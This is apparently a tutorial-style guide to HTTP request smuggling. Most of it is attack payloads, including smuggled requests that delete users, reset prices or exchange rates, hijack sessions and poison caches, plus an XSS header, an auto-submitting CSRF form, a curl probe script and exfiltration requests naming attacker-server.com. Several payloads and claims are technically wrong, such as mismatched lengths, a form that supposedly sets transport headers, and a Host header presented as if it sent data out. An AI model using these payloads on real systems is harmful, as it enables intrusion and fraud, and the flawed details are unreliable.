This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

HTTP Request Smuggling

What is HTTP Request Smuggling?

HTTP Request Smuggling is a critical web vulnerability that exploits differences in how front-end servers (load balancers, reverse proxies, CDNs) and back-end servers parse HTTP requests. When these components disagree about where one request ends and another begins, attackers can "smuggle" requests that bypass security controls, hijack other users' requests, and perform unauthorized actions.

Vulnerable Scenario Example

POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Different Technology Handling:

  • Front-end Server: Processes based on Transfer-Encoding: chunked → Sees request ending after "0\r\n\r\n"

  • Back-end Server: Processes based on Content-Length: 13 → Treats "SMUGGLED" as part of next request

  • Result: "SMUGGLED" gets prepended to the next user's request

How HTTP Request Smuggling Works

Request smuggling exploits the HTTP/1.1 specification ambiguity when both Content-Length and Transfer-Encoding headers are present. RFC 7230 states that Transfer-Encoding should take precedence, but implementations vary.

Request Processing Flow

  1. Client Request - Sends HTTP request with conflicting headers

  2. Front-end Server - Parses request using one method (CL or TE)

  3. Back-end Server - Parses the same request using different method

  4. Desynchronization - Servers disagree on request boundaries

  5. Request Queue Poisoning - Smuggled content affects subsequent requests

Impact and Consequences

  • Authentication Bypass - Hijacking authenticated sessions

  • Authorization Bypass - Accessing restricted endpoints

  • Request Hijacking - Stealing sensitive data from other users

  • Cache Poisoning - Poisoning web caches with malicious content

  • Security Control Bypass - Evading WAFs, rate limiting, and logging

  • Privilege Escalation - Accessing administrative functions

HTTP Request Boundary Fundamentals

Content-Length (CL) Method

Specifies the exact number of bytes in the request body:

POST /api/data HTTP/1.1
Host: example.com
Content-Length: 27

{"username": "testuser"}

Transfer-Encoding: chunked (TE) Method

Uses chunked encoding with size indicators:

POST /api/data HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

1b
{"username": "testuser"}
0

Conflicting Headers - The Root Cause

When both headers are present, different servers may prioritize differently:

POST /api/data HTTP/1.1
Host: example.com
Content-Length: 27
Transfer-Encoding: chunked

1b
{"username": "testuser"}
0

SMUGGLED_CONTENT

Technology-Specific Parsing Behavior

Front-end Technologies

HAProxy:

  • Default: Prioritizes Transfer-Encoding

  • Behavior: Processes chunked encoding when present

  • Configuration dependent on option http-server-close

Nginx:

  • Default: Prioritizes Transfer-Encoding

  • Behavior: Rejects requests with both headers by default

  • Can be configured to allow conflicting headers

Apache HTTP Server:

  • Default: Prioritizes Content-Length

  • mod_proxy behavior: May forward conflicting headers

  • Version-dependent processing differences

Cloudflare:

  • Default: Normalizes requests, removes conflicting headers

  • Edge cases: May pass through certain malformed requests

  • Geographic variation in processing

AWS Application Load Balancer:

  • Default: Prioritizes Transfer-Encoding

  • Behavior: Validates chunked encoding format

  • May reject malformed chunk sizes

Back-end Technologies

Apache Tomcat:

// Default behavior: Content-Length priority
// Connector configuration affects parsing

// server.xml configuration:
<Connector port="8080" 
           protocol="HTTP/1.1"
           allowChunking="true"
           maxHttpHeaderSize="8192" />

Node.js (Express):

// Default: Strict parsing, rejects conflicting headers
app.use(express.json({ strict: true }));

// Vulnerable configuration:
app.use((req, res, next) => {
  // Manual parsing can introduce vulnerabilities
  let body = '';
  req.on('data', chunk => body += chunk);
  req.on('end', () => {
    req.body = body;
    next();
  });
});

Python (Gunicorn/uWSGI):

# Gunicorn: Prioritizes Content-Length
# uWSGI: Configurable behavior

# wsgi.py - Vulnerable parsing:
def application(environ, start_response):
    content_length = environ.get('CONTENT_LENGTH', '0')
    body = environ['wsgi.input'].read(int(content_length))
    # Vulnerable to CL.TE attacks

IIS (Internet Information Services):

  • Default: Prioritizes Content-Length

  • ASP.NET Core: Different behavior than IIS

  • Version-specific parsing differences

Jetty:

// Default: Transfer-Encoding priority
// Version 9.4.x behavior:
HttpConfiguration config = new HttpConfiguration();
config.setRequestHeaderSize(8192);
config.setResponseHeaderSize(8192);
// Vulnerable to certain TE.CL attacks

Basic Request Smuggling Techniques

CL.TE (Content-Length.Transfer-Encoding) Attacks

Attack Vector:

  • Front-end uses Content-Length

  • Back-end uses Transfer-Encoding

Basic CL.TE Attack:

POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

Analysis:

  • Front-end: Reads 6 bytes ("0\r\n\r\nX") → Forwards entire payload

  • Back-end: Processes chunked encoding → Sees "0\r\n\r\n" as complete request

  • Result: "X" remains in buffer for next request

Advanced CL.TE Exploitation:

POST /api/login HTTP/1.1
Host: vulnerable-app.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin/users HTTP/1.1
Host: vulnerable-app.com

TE.CL (Transfer-Encoding.Content-Length) Attacks

Attack Vector:

  • Front-end uses Transfer-Encoding

  • Back-end uses Content-Length

Basic TE.CL Attack:

POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Analysis:

  • Front-end: Processes chunked → Reads "8\r\nSMUGGLED\r\n0\r\n\r\n"

  • Back-end: Uses Content-Length: 3 → Only reads "8\r\n"

  • Result: "SMUGGLED\r\n0\r\n\r\n" prepended to next request

Advanced TE.CL Exploitation:

POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /admin/delete-user HTTP/1.1
Host: vulnerable-app.com
Content-Length: 10

user_id=123
0

TE.TE (Transfer-Encoding.Transfer-Encoding) Attacks

Attack Vector:

  • Both servers support Transfer-Encoding but parse it differently

  • Exploits header obfuscation and processing differences

Header Obfuscation Techniques:

Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-encoding: chunked
Transfer-Encoding: chunked, identity
Transfer-Encoding: chunked
 Transfer-Encoding: chunked

Basic TE.TE Attack:

POST /search HTTP/1.1
Host: vulnerable-app.com
Transfer-Encoding: chunked
Transfer-Encoding: x

2e
POST /admin/panel HTTP/1.1
Host: vulnerable-app.com

0

Advanced TE.TE with Header Splitting:

POST /api/data HTTP/1.1
Host: vulnerable-app.com
Transfer-Encoding: chunked
Transfer-Encoding: 
 identity

0

POST /admin/config HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer admin_token

Authentication and Authorization Bypass

Session Hijacking

Basic Session Hijacking:

POST /api/profile HTTP/1.1
Host: vulnerable-app.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /api/sensitive HTTP/1.1
Host: vulnerable-app.com

When the next user makes a request:

GET /api/public HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_session_token

The back-end processes:

GET /api/sensitive HTTP/1.1
Host: vulnerable-app.com
GET /api/public HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_session_token

Advanced Session Hijacking with Response Capture:

POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 150
Transfer-Encoding: chunked

0

POST /api/capture HTTP/1.1
Host: attacker-server.com
Content-Length: 200
Content-Type: application/x-www-form-urlencoded

stolen_data=

Admin Panel Access

Direct Admin Bypass:

POST /public/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 87
Transfer-Encoding: chunked

0

GET /admin/users HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer 

Administrative Function Execution:

POST /api/upload HTTP/1.1
Host: vulnerable-app.com
Content-Length: 116
Transfer-Encoding: chunked

0

POST /admin/delete-all-users HTTP/1.1
Host: vulnerable-app.com
Content-Length: 0

JWT Token Smuggling

JWT Bypass Attack:

POST /api/public HTTP/1.1
Host: vulnerable-app.com
Content-Length: 198
Transfer-Encoding: chunked

0

GET /api/admin/secrets HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

JWT Injection via Smuggling:

POST /login HTTP/1.1
Host: vulnerable-app.com
Content-Length: 245
Transfer-Encoding: chunked

0

POST /api/validate-token HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/json
Content-Length: 150

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.signature"}

Business Logic Exploitation

E-commerce Price Manipulation

Price Override Attack:

POST /cart/checkout HTTP/1.1
Host: shop.example.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /admin/set-price HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

product_id=123&price=0.01

Inventory Bypass:

POST /cart/add-item HTTP/1.1
Host: shop.example.com
Content-Length: 180
Transfer-Encoding: chunked

0

POST /internal/update-inventory HTTP/1.1
Host: shop.example.com
Content-Length: 35

item_id=456&quantity=999999

Payment System Manipulation

Payment Amount Tampering:

POST /payment/initiate HTTP/1.1
Host: payment.example.com
Content-Length: 150
Transfer-Encoding: chunked

0

POST /internal/override-amount HTTP/1.1
Host: payment.example.com
Content-Length: 20

amount=1.00

Currency Manipulation:

POST /payment/process HTTP/1.1
Host: payment.example.com
Content-Length: 170
Transfer-Encoding: chunked

0

POST /admin/set-exchange-rate HTTP/1.1
Host: payment.example.com
Content-Length: 30

from=USD&to=EUR&rate=0.001

Cache Poisoning via Request Smuggling

Web Cache Deception

Basic Cache Poisoning:

POST /api/config HTTP/1.1
Host: vulnerable-app.com
Content-Length: 130
Transfer-Encoding: chunked

0

GET /static/config.js HTTP/1.1
Host: vulnerable-app.com
X-Cache-Key: poisoned

CDN Cache Poisoning:

POST /upload HTTP/1.1
Host: cdn.example.com
Content-Length: 200
Transfer-Encoding: chunked

0

GET /assets/app.js HTTP/1.1
Host: cdn.example.com
User-Agent: <script>alert('XSS')</script>

Response Queue Poisoning

Multi-Stage Cache Poisoning:

Stage 1 - Poison the cache:

POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 180
Transfer-Encoding: chunked

0

GET /api/user-preferences HTTP/1.1
Host: vulnerable-app.com
X-Forwarded-Host: evil.com

Stage 2 - Victim requests:

GET /api/user-preferences HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_session

Result: Victim receives malicious response from cache

Advanced Cache Poisoning Techniques

Cache Key Manipulation:

POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 220
Transfer-Encoding: chunked

0

GET /api/data?callback=legitCallback HTTP/1.1
Host: vulnerable-app.com
X-Original-URL: /api/data?callback=evilCallback

JSONP Hijacking via Cache:

POST /api/public HTTP/1.1
Host: vulnerable-app.com
Content-Length: 250
Transfer-Encoding: chunked

0

GET /api/jsonp?callback=processData HTTP/1.1
Host: vulnerable-app.com  
Referer: https://evil.com
X-Forwarded-For: 127.0.0.1

Framework-Specific Vulnerabilities

Node.js/Express Applications

Express Body Parser Bypass:

// Vulnerable middleware configuration
app.use(express.json({ limit: '50mb' }));
app.use(express.raw({ type: 'application/octet-stream' }));

// Attack payload:
POST /api/upload HTTP/1.1
Host: nodejs-app.com
Content-Type: application/json
Content-Length: 100
Transfer-Encoding: chunked

0

POST /api/admin HTTP/1.1
Host: nodejs-app.com
Content-Type: application/json

{"admin": true}

Fastify Plugin Bypass:

// Vulnerable Fastify setup
fastify.register(require('fastify-multipart'));
fastify.addContentTypeParser('text/plain', function (req, done) {
  // Vulnerable custom parser
});

Python Web Applications

Django Request Smuggling:

# settings.py - Vulnerable configuration
ALLOWED_HOSTS = ['*']
USE_X_FORWARDED_HOST = True

# Vulnerable middleware:
class VulnerableMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
    
    def __call__(self, request):
        # Direct body parsing without proper validation
        body = request.body.decode('utf-8')
        # Process body...

Attack against Django:

POST /django/api HTTP/1.1
Host: python-app.com
Content-Length: 150
Transfer-Encoding: chunked

0

POST /admin/users/ HTTP/1.1
Host: python-app.com
X-CSRFToken: bypassed

action=delete&id=all

Flask Application Vulnerability:

from flask import Flask, request

app = Flask(__name__)

@app.route('/api/data', methods=['POST'])
def handle_data():
    # Vulnerable: Direct access to environ
    content_length = request.environ.get('CONTENT_LENGTH', 0)
    body = request.environ['wsgi.input'].read(int(content_length))
    # Process without validation...

Java Spring Applications

Spring Boot Request Smuggling:

// Vulnerable configuration
@Configuration
public class WebConfig {
    @Bean
    public TomcatServletWebServerFactory tomcatFactory() {
        TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory();
        factory.addProtocolHandlers(new Http11NioProtocol());
        // Vulnerable: No request validation
        return factory;
    }
}

Attack payload:

POST /spring/api/data HTTP/1.1
Host: java-app.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /actuator/shutdown HTTP/1.1
Host: java-app.com
Content-Type: application/json

{"graceful": false}

Spring Security Bypass:

@RestController
public class VulnerableController {
    @PostMapping("/api/user")
    public ResponseEntity<?> updateUser(HttpServletRequest request) {
        // Vulnerable: Manual request parsing
        String body = IOUtils.toString(request.getInputStream(), "UTF-8");
        // Process without Spring's built-in validation
    }
}

PHP Applications

PHP-FPM Request Smuggling:

<?php
// Vulnerable PHP configuration
// php.ini settings that can lead to vulnerabilities:
// allow_url_fopen = On
// allow_url_include = On

// Vulnerable request handling:
$content_length = $_SERVER['CONTENT_LENGTH'] ?? 0;
$raw_input = file_get_contents('php://input', false, null, 0, $content_length);

// Process without proper validation...
?>

WordPress Plugin Vulnerability:

<?php
// Vulnerable WordPress plugin
add_action('wp_ajax_custom_action', 'handle_custom_request');
add_action('wp_ajax_nopriv_custom_action', 'handle_custom_request');

function handle_custom_request() {
    // Vulnerable: Direct $_POST access without nonce verification
    $action = $_POST['action'] ?? '';
    $data = $_POST['data'] ?? '';
    
    // Process request without proper validation
    if ($action === 'admin_function') {
        // Execute admin function
    }
}
?>

Advanced Attack Scenarios

Multi-Stage Request Smuggling

Stage 1: Reconnaissance

POST /api/info HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked

0

GET /debug/server-info HTTP/1.1
Host: target.com

Stage 2: Privilege Escalation

POST /api/login HTTP/1.1
Host: target.com
Content-Length: 180
Transfer-Encoding: chunked

0

POST /admin/create-user HTTP/1.1
Host: target.com
Content-Length: 50

username=attacker&password=pass&role=admin

Stage 3: Data Exfiltration

POST /api/search HTTP/1.1
Host: target.com
Content-Length: 250
Transfer-Encoding: chunked

0

POST /api/export-users HTTP/1.1
Host: attacker-server.com
Content-Length: 1000
Content-Type: application/json

{"destination": "https://attacker.com/collect"}

Cross-Site Request Smuggling (CSRS)

Traditional CSRF + Request Smuggling:

<!-- Attacker's website -->
<form id="smuggle" action="https://vulnerable-app.com/api/transfer" method="POST">
    <input type="hidden" name="Content-Length" value="150">
    <input type="hidden" name="Transfer-Encoding" value="chunked">
    <textarea name="payload">0

POST /admin/delete-account HTTP/1.1
Host: vulnerable-app.com
Content-Length: 25

account_id=victim_account</textarea>
</form>
<script>document.getElementById('smuggle').submit();</script>

Microservices Request Smuggling

Service Mesh Exploitation:

POST /service-a/api HTTP/1.1
Host: microservice-mesh.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /service-b/admin/config HTTP/1.1
Host: microservice-mesh.com
X-Service-Auth: internal-token
Content-Length: 50

critical_setting=compromised_value

API Gateway Bypass:

POST /public/api/v1 HTTP/1.1
Host: api-gateway.com
Content-Length: 300
Transfer-Encoding: chunked

0

GET /internal/api/v2/admin/users HTTP/1.1
Host: internal-service.com
X-Gateway-Bypass: true
Authorization: Bearer internal_token

Request Smuggling Detection Techniques

Manual Testing Methods

Basic Detection Script:

#!/bin/bash
# Basic Request Smuggling Detection

TARGET="https://target.com"
ENDPOINT="/api/search"

# Test CL.TE vulnerability
echo "Testing CL.TE..."
curl -X POST "$TARGET$ENDPOINT" \
     -H "Content-Length: 6" \
     -H "Transfer-Encoding: chunked" \
     -d $'0\r\n\r\nX' \
     -v

# Test TE.CL vulnerability  
echo "Testing TE.CL..."
curl -X POST "$TARGET$ENDPOINT" \
     -H "Content-Length: 3" \
     -H "Transfer-Encoding: chunked" \
     -d $'8\r\nSMUGGLED\r\n0\r\n\r\n' \
     -v

# Test TE.TE vulnerability
echo "Testing TE.TE..."
curl -X POST "$TARGET$ENDPOINT" \
     -H "Transfer-Encoding: chunked" \
     -H "Transfer-Encoding: x" \
     -d $'0\r\n\r\nSMUGGLED' \
     -v

Response Analysis Indicators

Successful Smuggling Indicators:

  • HTTP 400 "Bad Request" responses

  • HTTP 408 "Request Timeout" responses

  • Connection reset errors

  • Unusual response timing (delays or faster responses)

  • Error messages mentioning "chunked encoding" or "content length"

  • Empty responses when content expected

  • Responses containing smuggled request data

Last updated

Was this helpful?